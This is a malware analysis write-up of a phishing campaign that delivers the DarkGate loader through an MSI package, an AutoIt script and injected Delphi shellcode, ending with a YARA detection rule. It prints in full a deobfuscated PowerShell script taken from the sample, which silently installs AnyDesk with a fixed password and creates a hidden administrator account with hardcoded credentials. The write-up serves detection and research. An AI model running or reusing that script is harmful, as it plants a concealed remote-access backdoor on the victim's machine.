x64 Delphi Loader unleashed by GreetingGhoul
A comprehensive analysis has been conducted on a widespread phishing campaign that has been targeting individuals globally over the past month. The culmination of this campaign’s execution chain results in the deployment of a malware known as DarkGate, which is classified as a loader-type malware.
Context
A loader is malware whose main job is to get other code running: it unpacks or downloads a payload, places it in memory and starts it. Many loader families are rented or sold to other criminals, who use the foothold to install their own malware. The word also names the intermediate stages inside a single infection chain, which exist only to unpack and start the next one. Step 5 below uses both senses: the extracted loader is one of those stages, and DarkGate is the loader family it reveals.
Summary
It is noteworthy that DarkGate is exclusively distributed through underground online forums, with the developer maintaining strict control over the number of available licenses.
The threat actors behind this campaign have employed a high-volume distribution strategy, utilizing stolen email conversation threads to which they had gained access. This approach exploits the tendency of users to trust familiar communication patterns, potentially leading to infection among those unaware of such sophisticated social engineering tactics.
The campaign’s execution flow can be summarized as follows:
- Geofence Check: The exact parameters for passing the geofence set by the threat actors remain under investigation. Analysis of successful payload retrievals on URLscan.io revealed the presence of a refresh header in the response, containing the URL for payload download.

The Refreshheader points tohxxps://alianzasuma[.]com/wzxfh. - MSI Loader: Upon successful geofence clearance, an MSI file is downloaded, following the naming convention:
Project_[0-9]{7}.msi. This MSI file contains two embedded components: - AutoIT Script: The
CustomAction.dllis responsible for unpacking and executing the contents ofWrappedSetupProgram.cab, which includes:Context
AutoIt is a legitimate Windows automation language, and
AutoIt3.exeis its standard interpreter. ThroughDllCalla script can call Windows API functions directly, which is enough to allocate executable memory, copy shellcode into it and run it. Pairing the genuine interpreter with an obfuscated script therefore puts the malicious logic inside a legitimate, well-known process. Compiled AutoIt script data carries the markerAU3!EA06, which is what the hex view above highlights. - Shellcode Injection: The AutoIT script performs two primary functions:
- Concatenation of segmented hex-encoded shellcode

$SSUGZNUOOEcollects the hex fragments; the editor counts 2,091 occurrences of the name. - Injection and execution of the shellcode


Following the buffer until the whole executable is on the stack, then dumping that memory to a file and trimming the extra bytes.
Context
The characters boxed in red above, M, Z and P, are the bytes
4D 5A 50at the start of a DOS header, the header every Windows executable begins with. Microsoft’s linker writesMZfollowed by0x90there, while Delphi (Embarcadero’s Object Pascal toolchain, originally Borland’s) traditionally writesMZP, so an MZP header is a quick hint that a PE was built with Delphi or another Borland-lineage tool. Delphi binaries also carry compiler-generated metadata (virtual method tables and RTTI) that names classes and many of their methods; Delphi-aware tools use it to recover program structure that a stripped C binary would not reveal. - Concatenation of segmented hex-encoded shellcode
- Loader Analysis: The extracted loader is responsible for decoding and executing portions of the data stored within the AutoIT script, ultimately revealing the DarkGate loader.
- DarkGate Analysis: The final payload, DarkGate, incorporates various capabilities, including:
- HVNC (Hidden Virtual Network Computing): remote control through a hidden desktop the victim never sees
- Cryptocurrency miner setup
- Browser history and cookie theft
- Remote Desktop Protocol (RDP) functionality
- HiddenAnyDesk integration
The malware employs sophisticated obfuscation techniques, including custom Base64 encoding and XOR operations, to protect its configuration and network communications. Detailed analysis of these mechanisms has been conducted, and decryption scripts have been developed to facilitate further investigation.
Context
Custom Base64 is the standard Base64 algorithm run with a non-standard 64-character alphabet, often a shuffled copy of the usual one. The output still looks like ordinary Base64, but a standard decoder returns garbage, so decoding it needs the same alphabet the malware used.
In conclusion, this campaign demonstrates a high level of sophistication in its execution, combining social engineering tactics with advanced malware deployment techniques. The multi-stage nature of the attack, coupled with the use of legitimate-looking components and complex obfuscation methods, underscores the evolving landscape of cyber threats and the need for continued vigilance and advanced detection capabilities.
Objective
- Assess the dangers and capabilities of the submitted Sample & C2 platform
- Uncover HiddenAnydesk Methodology to submit for patch
- Provide extracted, de-obfuscated Loading method (AutoIT)
Anydesk Invoke Script Extracted (Deobfuscated)
function Install-AnyDesk {
param (
[string]$InstallPath = "C:\ProgramData\AnyDesk",
[string]$AnyDeskUrl = "http://download.anydesk.com/AnyDesk.exe",
[string]$Password = "J9kzQ2Y0qO",
[string]$AdminUsername = "oldadministrator",
[string]$AdminPassword = "jsbehsid#Zyw4E3"
)
# Error handling
try {
# Create the installation directory if it doesn't exist
if (-not (Test-Path -Path $InstallPath -PathType Container)) {
New-Item -Path $InstallPath -ItemType Directory
}
# Download AnyDesk
Invoke-WebRequest -Uri $AnyDeskUrl -OutFile (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe")
# Install AnyDesk silently
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--install $InstallPath --start-with-win --silent" -Wait
# Set AnyDesk password
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--set-password=$Password" -Wait
# Create a new user account
New-LocalUser -Name $AdminUsername -Password (ConvertTo-SecureString -String $AdminPassword -AsPlainText -Force)
# Add the user to the Administrators group
Add-LocalGroupMember -Group "Administrators" -Member $AdminUsername
# Hide the user from the Windows login screen
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" -Name $AdminUsername -Value 0 -Type DWORD -Force
# Get AnyDesk ID
Start-Process -FilePath (Join-Path -Path $InstallPath -ChildPath "AnyDesk.exe") -ArgumentList "--get-id" -Wait
Write-Host "Installation completed successfully."
}
catch {
Write-Host "Error: $_"
Write-Host "Installation failed."
}
}
# Call the Install-AnyDesk function with default values
Install-AnyDesk YARA Rule
rule Win_DarkGate
{
meta:
author = "dBoudLabs"
description = "DarkGate Strings"
date = "2023-07-26"
strings:
$chunk_1 = {
8B 55 ??
8A 4D ??
80 E1 3F
C1 E1 02
8A 5D ??
80 E3 30
81 E3 FF 00 00 00
C1 EB 04
02 CB
88 4C 10 ??
FF 45 ??
80 7D ?? 40
74 ??
8B 45 ??
E8 ?? ?? ?? ?? #any
8B 55 ??
8A 4D ??
80 E1 0F
C1 E1 04
8A 5D ??
80 E3 3C
81 E3 FF 00 00 00
C1 EB 02
02 CB
88 4C 10 ??
FF 45 ??
80 7D ?? 40
74 ??
8B 45 ??
E8 ?? ?? ?? ?? #any
8B 55 ??
8A 4D ??
80 E1 03
C1 E1 06
8A 5D ??
80 E3 3F
02 CB
88 4C 10 ??
FF 45 ??
}
condition:
any
}
Daniel Boudreau

